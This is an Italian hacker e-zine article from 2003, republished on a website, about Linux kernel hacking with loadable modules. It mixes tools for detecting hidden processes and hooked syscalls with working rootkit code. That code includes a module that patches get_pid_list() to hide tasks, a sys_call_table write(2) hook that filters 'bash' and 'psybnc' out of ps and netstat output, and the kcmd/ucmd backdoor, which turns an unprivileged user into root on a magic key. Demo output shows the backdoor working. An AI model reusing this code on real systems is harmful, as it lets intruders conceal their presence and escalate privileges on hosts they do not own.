Copy Link
Add to Bookmark
Report

BFi numero 11 anno 6 file 10 di 15

eZine's profile picture
Published in 
Butchered From Inside
 · 5 years ago

  

==============================================================================
------------[ BFi numero 11, anno 6 - 23/12/2003 - file 10 di 15 ]------------
==============================================================================


-[ HACKiNG ]------------------------------------------------------------------
---[ KERNEL HACKiNG: NU0VE TECNiCHE PER iL DETECT E L'0CCULTAMENT0
---[ dev-09, 23/04/2002
-----[ xenion <xenion@acidlife.com>



In questo articolo ho raccolto miei tools e idee riguardanti LKM e Kernel
per Linux.. non tratta quindi un argomento particolare.
Per chiarimenti, idee, bug fixes o altro: xenion@acidlife.com
Con questo penso di aver detto tutto, buona lettura :)

==============================================================================

1 ]-- Detect di processi nascosti e syscall hookate

1.1 - Come vedere i processi nascosti da hooks della getdents(2) da userspace
1.2 - psmod, task list viewer
1.3 - printf anti-write-hook
1.4 - Syscall Benchmark

2 ]-- Idee varie

2.1 - Modificare la get_pid_list() per nascondere i task
2.2 - Nuova implementazione dell' hook della write(2)
2.3 - Cambiare il PID dei processi a runtime

3 ]-- Tools

3.1 - Kdump: Dump Kernel space memory
3.2 - modkiller: evitiamo qualche machine lock
3.3 - kcmd/ucmd: mandare richieste e ricevere risposte tra user e kernel space

4 ]-- *.c List

xe@gw:$ ls *.c
hprintf.c kdump.c pidlist.c uahah.c wbench.c
kcmd.c modkiller.c psmod.c ucmd.c writehook.c
xe@gw:$


==============================================================================

1.1 - Come vedere i processi nascosti da hooks della getdents(2) da userspace


I processi vengono nascosti sempre nello stesso modo, hookando la syscall
getdents(2) senza fare molto altro.. vediamo velocemente come:

In Linux ps utilizza il fs /proc/ per chiedere al Kernel le informazioni
sui processi. Ogni processo ha la sua directory /proc/PIDprocesso/ dove
sono contenute tutte le informazioni relative al suo stato.
mediante strace(1) sappiamo che ps fa uso della getdents(2), che gli rende
disponibile la lista dei file (e quindi anche delle directory) in /proc/.
Se alteriamo il funzionamento della getdents(2) filtrando /proc/PIDprocesso/
il processo risultera' invisibile a ps.

Se in qualche modo riusciamo a fare a meno della getdents(2) (e questo e'
possibile) questo sistema non sara' piu sufficiente :)
Vediamo come: facciamo un piccolo tool che prova ad aprire /proc/PID/cmdline,
con PID che varia da 1 a PID_MAX (0x8000). Se la open(2) non fallisce, il
processo esiste. In modo analogo si potrebbe usare anche la chdir(2) o altre
syscall che fanno riferimento al pid.
Ecco un tool che fa esattamente questo utilizzando la open(2):

<-| khack/pidlist.c |->
/*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/types.h>
#include <string.h>

#define PID_MAX 0x8000

int
main()
{
pid_t pid;
FILE *f;
char buf[100];
char *p;

printf("PID\tCMD\n");

for (pid = 1; pid <= PID_MAX; ++pid) {

p = buf;

sprintf(buf, "/proc/%d/cmdline", pid);
if ((f = fopen(buf, "r")) == NULL)
continue;
if (fgets(buf, sizeof buf, f) == NULL)
*buf = '\0';
fclose(f);

if (strlen(buf) == 0) {
sprintf(buf, "/proc/%d/status", pid);
if ((f = fopen(buf, "r")) == NULL)
continue;
if (fgets(buf, sizeof buf, f) == NULL) {
fclose(f);
continue;
}
if (strlen(buf) <= 8) {
continue;
fclose(f);
}
*index(buf, '\n') = '\0';
*(p + 5) = '[';
p += 5;
strcat(p, "]");
fclose(f);
}

printf("%d\t%s\n", pid, p);

}

return 0;
}
<-X->

vediamo come funziona:

xe@gw:$ ./pidlist
PID CMD
1 init
2 [keventd]
3 [ksoftirqd_CPU0]
..
2063 ./pidlist
xe@gw:$

==============================================================================

1.2 - psmod, task list viewer


I task vengono gestiti dal Kernel mediante una lista circolare doppia, ogni
elemento e' una struttura di tipo task_struct, definito in
/usr/include/linux/sched.h.
Un modulo che utilizza direttamente questa lista fornira' quindi informazioni
certamente piu sicure dei normali tool a user space.
psmod rende disponibile a userspace le informazioni direttamente prese dalla
lista dei task servendosi di /proc/psmod:

<-| khack/psmod.c |->
/*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*/


#define MODULE
#define __KERNEL__

#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>


struct proc_dir_entry *ps_proc;


int
proc_list(char *buf, char **start, off_t offset, int count,
int *eof, void *data)
{
struct task_struct *tsk;

count = 0;

for_each_task(tsk)
count +=
sprintf(buf + count, "%d\t%s\n", (int) tsk->pid, tsk->comm);

return count;
}


int
init_module(void)
{

console_print("psmod loaded.\n");

if ((ps_proc =
create_proc_entry("psmod", S_IFREG | S_IRUGO, NULL)) != NULL)
ps_proc->read_proc = proc_list;

return 0;
}


void
cleanup_module(void)
{

remove_proc_entry("psmod", NULL);
console_print("psmod removed.\n");

}
<-X->

vediamo come funziona:

xe@gw:$ insmod psmod.o
psmod loaded.
xe@gw:$ cat /proc/psmod
1 init
2 keventd
3 kapm-idled
..
255 cat
xe@gw:$

Senza utilizzare moduli, e' sufficiente abilitare nel Kernel il
"Magic SysRq key" (Menu "Kernel hacking") ed utilizzare il comando 't'.

==============================================================================

1.3 - printf anti-write-hook


Molti hook della write(2) funzionano nel medesimo modo: un strncmp() del
buffer passato decide se chiamare o no la vera write(2).
E' sufficiente una diversa implementazione della printf(1) per mettere
in crisi questo sistema: mandiamo alla write(2) un byte alla volta :^)

<-| khack/hprintf.c |->
/*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*/


/*
* works with some write(2) hooks
*/


#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

extern int vasprintf();
int hprintf(char *, ...);

int
main()
{

hprintf("HIDDEN_TEXT will be visible\n"); // will be visible
printf("HIDDEN_TEXT will be hidden\n"); // will be hidden
return 0;

}

int
hprintf(char *pattern, ...)
{

char *s;
va_list ap;
int len,
i,
z;

va_start(ap, pattern);
len = vasprintf(&s, pattern, ap);
va_end(ap);

if (len > 0) {
for (i = 0; i < len; i++) {
z = write(1, s + i, 1);
}
free(s);
}

return len;
}
<-X->

==============================================================================

1.4 Syscall Benchmark


Una syscall hookata sara' sempre e comunque piu lenta della syscall originale,
possiamo quindi fare dei Benchmark sulla velocita' delle syscall per
verificarne l'originalita'. Il seguente tool e' un Benchmark per la write(2):

<-| khack/wbench.c |->
/*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*/


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/times.h>

#define BUF "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"

int
main(int argc, char **argv)
{
struct tms start,
end;
unsigned long loop;

if (argc < 2) {
printf
("Measures the amount of CPU time spent executing a write(2) loop.\n");
printf("(may be used to detect a possible write syscall hook)\n");
printf("usage: %s <times to loop>\n\n", argv[0]);
exit(0);
}

loop = atol(argv[1]);

printf("loop %ld times\n", loop);

times(&start);

while (loop--)
write(3, BUF, sizeof BUF);

times(&end);

printf("Execution time: %ld jiffies.\n",
(end.tms_utime - start.tms_utime) + (end.tms_stime -
start.tms_stime));

return 0;

}
<-X->

Testiamo ora il nostro wbench con il famoso adore dei Teso:

xe@gw:$ ./wbench 1000000
loop 1000000 times
Execution time: 112 jiffies.
xe@gw:$ cd adore/
xe@gw:$ ./startadore
xe@gw:$ ../wbench 1000000
loop 1000000 times
Execution time: 132 jiffies.
xe@gw:$

uhm, funziona :)

==============================================================================

2.1 - Modificare la get_pid_list() per nascondere i task


Le syscall usano delle funzioni interne del Kernel per funzionare.
Buchiamo queste funzioni e faremo vedere alle syscall quello che ci pare,
filtrando quello che vogliamo nascondere. Proviamo a occultare i processi
in questo modo: la funzione che ci interessa e' get_pid_list(), definita in
/usr/src/linux/fs/proc/base.c.
Per trovare la posizione esatta della funzione in Kernel space possiamo usare
objdump:

xe@gw:$ objdump -d vmlinux | grep "<get_pid_list>"
00000000c014d00c <get_pid_list>:
c014d0b8: e8 4f ff ff ff call c014d00c <get_pid_list>
xe@gw:$

Ora abbiamo tutto quello che ci occorre: in 0xc014d00c mettiamo un jmp
alla nostra get_pid_list() modificata e il gioco e' fatto :D
Il seguente modulo fa questo:

<-| khack/uahah.c |->
/*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*/


#define MODULE
#define __KERNEL__

#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/uaccess.h>

#define PROC_MAXPIDS 20 /* defined in /usr/src/linux/fs/proc/base.c */
#define GETPIDLIST (unsigned char *)0xc014d00c /* get_pid_list() position */

unsigned char jmp_to_hooked[] = "\xb8\x0\x0\x0\x0" /* mov 0x0,%eax */
"\xff\xe0"; /* jmp %eax */

unsigned char backup[sizeof jmp_to_hooked];


/*
* our new implementation of the get_pid_list() function
*/


static int
hooked(int index, unsigned int *pids)
{
struct task_struct *p;
int nr_pids = 0;

index--;
read_lock(&tasklist_lock);
for_each_task(p) {
int pid = p->pid;
if (!pid)
continue;
if (--index >= 0)
continue;

/*
* <added>
*/

printk(KERN_ALERT "task name: '%s' (pid:%d) on pid %d\n",
current->comm, current->pid, pid);
/*
* </added>
*/


pids[nr_pids] = pid;
nr_pids++;
if (nr_pids >= PROC_MAXPIDS)
break;
}
read_unlock(&tasklist_lock);
return nr_pids;
}

int
init_module(void)
{

int i;

unsigned long addr = (long) hooked;

console_print("uahah loaded\n");

for (i = 0; i < 4; ++i)
jmp_to_hooked[i + 1] = *((unsigned char *) &addr + i);

for (i = 0; i < sizeof jmp_to_hooked; ++i) {
backup[i] = *(GETPIDLIST + i);
*(GETPIDLIST + i) = jmp_to_hooked[i];
}

return 0;

}

void
cleanup_module(void)
{

int i;

for (i = 0; i < sizeof jmp_to_hooked; ++i)
*(GETPIDLIST + i) = backup[i];

console_print("uahah removed\n");

}
<-X->

..non ci resta che provarlo:

xe@gw:$ insmod uahah.o
uahah loaded
xe@gw:$ ps
..
task name: 'ps' (pid:1807) on pid 322
task name: 'ps' (pid:1807) on pid 323
task name: 'ps' (pid:1807) on pid 324
PID TTY TIME CMD
322 tty3 00:00:00 bash
..
task name: 'ps' (pid:1807) on pid 1807
1807 tty3 00:00:00 ps
xe@gw:$ rmmod uahah
uahah removed
xe@gw:$

funziona :D
Ora possiamo nascondere processi senza hookare la solita getdents(2) :)

==============================================================================

2.2 - Nuova implementazione dell' hook della write(2)


Rootkit come adore implementano un'hook della write(2) buggato: Non tengono
conto del fatto che i pipe non sono line-buffered (sulla mia box hanno un
buffer di 4096 byte) e che quindi un semplice e veloce strncmp() non e'
sufficiente.
Si potranno verificare tre situazioni indesiderate:
- Se nel blocco e' presente la stringa da nascondere, verra' nascosto l'intero
blocco (quindi molte righe di output che dovrebbero venire visualizzate..).
- Se la dimensione dell'output e' <= della dimensione del buffer del pipe
ed e' presente la stringa da nascondere, *tutto* l'output verra' nascosto
- Probabilmente ogni blocco conterra' due righe spezzate (la fine dell'ultima
riga del blocco precendente e l'inizio della riga del prossimo blocco).
L'output di ps potrebbe apparire cosi':

..
533 ? S 0:00 httpd
0:00 xfs -droppriv -daemon -port -1
599 tty5 SW 0:00 [mingetty]
..

Il seguente hook della write(2) risolve in parte il problema:
Le righe spezzate verranno nascoste, quindi ogni blocco di dati avra' una
riga nascosta di troppo.. e infine se due utenti nello stesso istante eseguono
un comando il cui output viene filtrato, e' possibile che torni il problema
delle mezze righe.

<-| khack/writehook.c |->
/*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*/



#define MODULE
#define __KERNEL__

#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/string.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>

extern void *sys_call_table[];


char *HIDETO[] = {
"ps",
"netstat",
NULL
};

char *HIDETHIS[] = {
"bash",
"psybnc",
NULL
};


int (*o_write) (unsigned int, char *, size_t);
int was_endline;

int n_write(unsigned int, char *, size_t);


int
init_module(void)
{

was_endline = 1;
o_write = sys_call_table[__NR_write];
sys_call_table[__NR_write] = n_write;
console_print("write hook loaded.\n");
return 0;

}


void
cleanup_module(void)
{

sys_call_table[__NR_write] = o_write;
console_print("write hook removed.\n");

}


int
n_write(unsigned int fd, char *buf, size_t count)
{
char *kbuf,
*start,
*end;
int r,
i,
z;
size_t mycount,
tmp;


for (z = 0, i = 0; HIDETO[i]; ++i)
if (strcmp(current->comm, HIDETO[i]) == 0)
z++;

if (z == 0) {
r = o_write(fd, buf, count);
return r;
}

kbuf = (char *) kmalloc(count, GFP_KERNEL);
if (kbuf == NULL) {
r = o_write(fd, buf, count);
return r;
}

copy_from_user(kbuf, buf, count);

start = kbuf;
mycount = count;

if (!was_endline)
for (tmp = 0; tmp < count; ++tmp)
if (kbuf[tmp] == '\n') { /* tmp==count-1 */
start = &kbuf[tmp] + 1; /* -> start = kbuf+tmp+1 */
mycount -= tmp + 1; /* -> mycount-= count */
break; /* this isn't a bug */
}

for (tmp = count; tmp > 0; tmp--)
if (kbuf[tmp - 1] == '\n')
break;

was_endline = count == tmp ? 1 : 0;

mycount -= count - tmp;

while ((end = memchr(start, '\n', mycount)) != NULL) {
tmp = end - start + 1;

*end = '\0';
for (z = 0, i = 0; HIDETHIS[i]; ++i)
if (strstr(start, HIDETHIS[i]))
z++;
*end = '\n';

if (z == 0) {
copy_to_user(buf, start, tmp);
r = o_write(fd, buf, tmp);
if (r == -1)
break;
}

mycount -= tmp;
start = ++end;
}

kfree(kbuf);
return count;

}
<-X->

==============================================================================

2.3 - Cambiare il PID dei processi a runtime


Giocando con kcmd\ucmd, ho provato a cambiare il PID ad un processo.
Risultato: ps non vede piu il processo :D

xe@gw:$ insmod kcmd.o
kcmd loaded.
xe@gw:$ ps
PID TTY TIME CMD
7398 pts/1 00:00:00 bash
7402 pts/1 00:00:00 ps
xe@gw:$ ./ucmd CPID
Sending Request..
received: [oldPID:7398, newPID:100. PID changed!]
xe@gw:$ ps
PID TTY TIME CMD
7404 pts/1 00:00:00 ps
xe@gw:$ ps ax | grep 7398
xe@gw:$ cd /proc/
xe@gw:$ ls -1 | grep 100
100
xe@gw:$ ls -la 100
ls: 100: No such file or directory
xe@gw:$

La getdents(2) vede la directory del PID ma la stat(2) fallisce..
andiamo a vedere nei sources di ps, precisamente in
procps-2.0.7/proc/readproc.c :

while ((ent = readdir(PT->procfs)) &&
(*ent->d_name < '0' || *ent->d_name > '9'))
;
if (!ent || !ent->d_name)
return NULL;
sprintf(path, "/proc/%s", ent->d_name);

if (stat(path, &sb) == -1) /* no such dirent (anymore) */
goto next_proc;

Siccome la stat(2) fallisce, ps salta silenziosamente il processo.
Un processo occultato in questo modo ha grosse limitazioni, molte syscall
non funzioneranno perche si basano sul PID. Quando il processo termina sembra
che anche il padre muoia.. ma non'ho controllato a fondo questi particolari.
Per nascondere anche alla getdents(2) il task basta settare il PID a 0,
il PID dello swapper. Se si setta il PID a 0 e se il task termina senza prima
ripristinare il PID originale, la box si locka con un "Kernel panic:
Attempted to kill the idle task!"
. Attenti quindi..^^

==============================================================================

3.1 - Kdump: Dump Kernel space memory


veloce e semplice utility che permette di dumpare la memoria in kernelspace.

<-| khack/kdump.c |->
/*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*/



#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdarg.h>

#define KMEM "/dev/kmem"
#define NBYTES 20
#define VERSION "1.0"

void fatal(char *, ...);

int
main(int argc, char **argv)
{
int fd;
unsigned char data;
off_t addr,
length,
i,
j;

if (argc < 3) {
printf("Kdump v%s\n", VERSION);
printf("USAGE: kdump <addr> <length>\n\n");
exit(1);
}

addr = strtoul(argv[1], NULL, 0);
length = strtoul(argv[2], NULL, 0);

printf("Dumped memory from <%#lx> to <%#lx+%lu>\n\n", addr, addr,
length);

if ((fd = open(KMEM, O_RDONLY)) == -1)
fatal("open()");

if (lseek(fd, addr, SEEK_SET) == -1)
fatal("lseek()");

for (i = 0; i < length; i += NBYTES) {
printf("%#lx+%-8lu", addr, i);
for (j = 0; j < NBYTES && (i + j) < length; j++) {
if (read(fd, &data, 1) < 1)
fatal("read()");
printf(" %.2x", data);
}
printf("\n");
}

close(fd);
return 0;

}


void
fatal(char *pattern, ...)
{
va_list ap;
va_start(ap, pattern);

vfprintf(stderr, pattern, ap);
fprintf(stderr, "; exit forced.\n");

va_end(ap);
exit(1);

}
<-X->

..vediamo come funziona:

xe@gw:$ ./kdump 0xC0000000 100
Dumped memory from <0xc0000000> to <0xc0000000+100>

0xc0000000+0 01 00 00 00 d0 e7 00 f0 c3 e2 00 f0 d0 e7 00 f0 d0 e7 00 f0
0xc0000000+20 54 ff 00 f0 08 80 00 f0 d0 e7 00 f0 a5 fe 00 f0 87 e9 00 f0
0xc0000000+40 6f ef 00 f0 6f ef 00 f0 6f ef 00 f0 6f ef 00 f0 57 ef 00 f0
0xc0000000+60 6f ef 00 f0 c6 56 00 c0 4d f8 00 f0 41 f8 00 f0 44 97 00 f0
0xc0000000+80 39 e7 00 f0 59 f8 00 f0 2e e8 00 f0 d2 ef 00 f0 a4 e7 00 f0
xe@gw:$

==============================================================================

3.2 - modkiller: evitiamo qualche machine lock


Quando si programmano hook, basta un bug per lockare la box.
Ci sono due sistemi per ovviare a questo problema: le VirtualMachines
o modkiller :). Sicuramente meno potente e meno sicuro, funzionera' solo
in alcuni casi, in altri sara' inutile (da un Kernel panic non si scappa).
Mi e' stato comunque molto utile quando giocavo con la execve(2), mi ha
evitato molti reboot.
Funzionamento: installa un Kernel timer, quando l'handler viene eseguito
viene scaricato il modulo X (e quindi viene eseguita la sua cleanup_module()).
In altre parole un rmmod alternativo da Kernelspace. La cleanup_module()
non deve contenere errori e deve annullare qualsiasi modifica, altrimenti
modkiller diventa inutile..

<-| khack/modkiller.c |->
/*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*/


#define MODULE
#define __KERNEL__

#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/uaccess.h>
#include <sys/syscall.h>
#include <linux/sched.h>
#include <linux/timer.h>

#define THIS_MODULE_NAME (char *)__this_module.name

extern void *sys_call_table[];

static struct timer_list s_mytimer;
static char *mod;
static int timeout;

static void mytimer_proc(unsigned long ptr);
static void add_mytimer(void);
static void del_mytimer(void);
static int kdelete_module(char *);

MODULE_PARM(mod, "s");
MODULE_PARM(timeout, "i");

int
init_module(void)
{
printk(KERN_ALERT "%s: Loaded (mod=%s,timeout=%ds)\n",
THIS_MODULE_NAME, mod, timeout);

if (!mod || timeout <= 0) {
printk(KERN_ALERT
"%s: Next time, do insmod mod=<module name> timeout=<timeout (s)>\n",
THIS_MODULE_NAME);
return -EINTR;
} else {
add_mytimer();
printk(KERN_ALERT "%s: Running..\n", THIS_MODULE_NAME);
}

return 0;

}


void
cleanup_module(void)
{

printk(KERN_ALERT "%s: bye\n", THIS_MODULE_NAME);
del_mytimer();

}


int
kdelete_module(char *name)
{

int (*sys_delete_module) (char *) =
sys_call_table[__NR_delete_module];
mm_segment_t old_fs = get_fs();
int z;

set_fs(get_ds());
z = sys_delete_module(name);
set_fs(old_fs);

return z;

}


void
mytimer_proc(unsigned long ptr)
{

if (kdelete_module(mod) == 0)
printk(KERN_ALERT "%s: module '%s' removed\n", THIS_MODULE_NAME,
mod);
else
printk(KERN_ALERT "%s: unable to remove '%s'\n",
THIS_MODULE_NAME, mod);

printk(KERN_ALERT "%s: now remove me with '/sbin/rmmod %s'\n",
THIS_MODULE_NAME, THIS_MODULE_NAME);

}

void
add_mytimer(void)
{

init_timer(&s_mytimer);
s_mytimer.function = mytimer_proc;
s_mytimer.expires = jiffies + HZ * timeout;
add_timer(&s_mytimer);

}

void
del_mytimer(void)
{

del_timer(&s_mytimer);

}
<-X->

..vediamo come si usa:

xe@gw:$ insmod modkiller.o mod=uahah timeout=10
modkiller: Loaded (mod=uahah,timeout=10s)
modkiller: Running..
xe@gw:$ insmod uahah.o
uahah loaded
xe@gw:$ uahah removed
modkiller: module 'uahah' removed
modkiller: now remove me with '/sbin/rmmod modkiller'
xe@gw:$ rmmod modkiller
modkiller: bye
xe@gw:$


==============================================================================

3.3 - kcmd/ucmd: mandare richieste e ricevere risposte tra user e kernel space


Utilizziamo la write(2) come syscall di input e output allo stesso tempo,
questo ci semplifica la comunicazione tra user e kernel space.
Ecco il modulo:

<-| khack/kcmd.c |->
/*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*/


#define MODULE
#define __KERNEL__

#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/string.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>

#define MAGICFD -1337
#define KEY "IMightBeWrong"
#define BUFLEN 1024

extern void *sys_call_table[];

int (*o_write) (int, char *, size_t);

int
n_write(int fd, char *buf, size_t count)
{
char *cmd,
*kbuf = NULL;
int found = 0;


if (fd == MAGICFD) {

if (count < BUFLEN)
goto out;

if ((kbuf = (char *) kmalloc(count, GFP_KERNEL)) == NULL)
goto out;

copy_from_user(kbuf, buf, count);

if (strncmp(kbuf, KEY, sizeof KEY) != 0)
goto out;

cmd = kbuf + sizeof KEY;

if (strcmp(cmd, "PID") == 0) {
sprintf(kbuf, "your PID is %d", current->pid);
++found;
}

if (!found && strcmp(cmd, "BEROOT") == 0) {
current->p_pptr->uid = 0;
current->p_pptr->gid = 0;
current->p_pptr->euid = 0;
current->p_pptr->egid = 0;
current->p_pptr->ngroups = 1;
current->p_pptr->groups[0] = 0;
sprintf(kbuf, "you are r00t, have fun ;)");
++found;
}

if (!found)
sprintf(kbuf, "right key but command not found");

copy_to_user(buf, kbuf, count);

return -1337;
}


out:

if (kbuf != NULL)
kfree(kbuf);

return o_write(fd, buf, count);

}


int
init_module(void)
{

o_write = sys_call_table[__NR_write];
sys_call_table[__NR_write] = n_write;
console_print("kcmd loaded.\n");
return 0;

}


void
cleanup_module(void)
{

sys_call_table[__NR_write] = o_write;
console_print("kcmd removed.\n");

}
<-X->

..ed il client a userspace:

<-| khack/ucmd.c |->
/*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdarg.h>

#define MAGICFD -1337
#define BUFLEN 1024
#define KEY "IMightBeWrong"

void fatal(char *, ...);

int
main(int argc, char **argv)
{
char buf[BUFLEN],
buf2[BUFLEN];

if (argc < 2) {
printf("usage: %s <CMD>\n\n", argv[0]);
exit(0);
}

memset(buf, '\0', BUFLEN);

if (sizeof KEY + strlen(argv[1]) + 1 > BUFLEN)
fatal("CMD too long");

strcpy(buf, KEY);
strcpy(buf + sizeof KEY, argv[1]);

printf("Sending Request..\n");
memcpy(buf2, buf, BUFLEN);
write(MAGICFD, buf, BUFLEN);
if (memcmp(buf, buf2, BUFLEN) != 0)
printf("received: [%s]\n", buf);
else
printf("kcmd not installed\n");

return 0;

}

void
fatal(char *pattern, ...)
{

va_list ap;
va_start(ap, pattern);

vfprintf(stderr, pattern, ap);
fprintf(stderr, "; exit forced.\n");

va_end(ap);

exit(-1);

}
<-X->

vediamo come funziona:

xe@gw:~$ id
uid=1003(xe) gid=100(users) groups=100(users)
xe@gw:~$ ./ucmd PID
Sending Request..
received: [your PID is 1378]
xe@gw:~$ ./ucmd BEROOT
Sending Request..
received: [you are r00t, have fun ;)]
xe@gw:~$ id
uid=0(root) gid=0(root) groups=0(root)
xe@gw:~$


==============================================================================
EOF

ok, fine.
Un saluto a derte(il miglior programmatore di bottoni :D), awgn, dark-angel,
nk, nine, cyberbrown, fake(che fine hai fatto?), vecna, troll(la prossima
volta non ti sveglierai in ospedale :P), #phrack.it, #c/c++ e a tutte le
persone che conosco :)

--xenion


==============================================================================
--------------------------------[ EOF 10/15 ]---------------------------------
==============================================================================

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT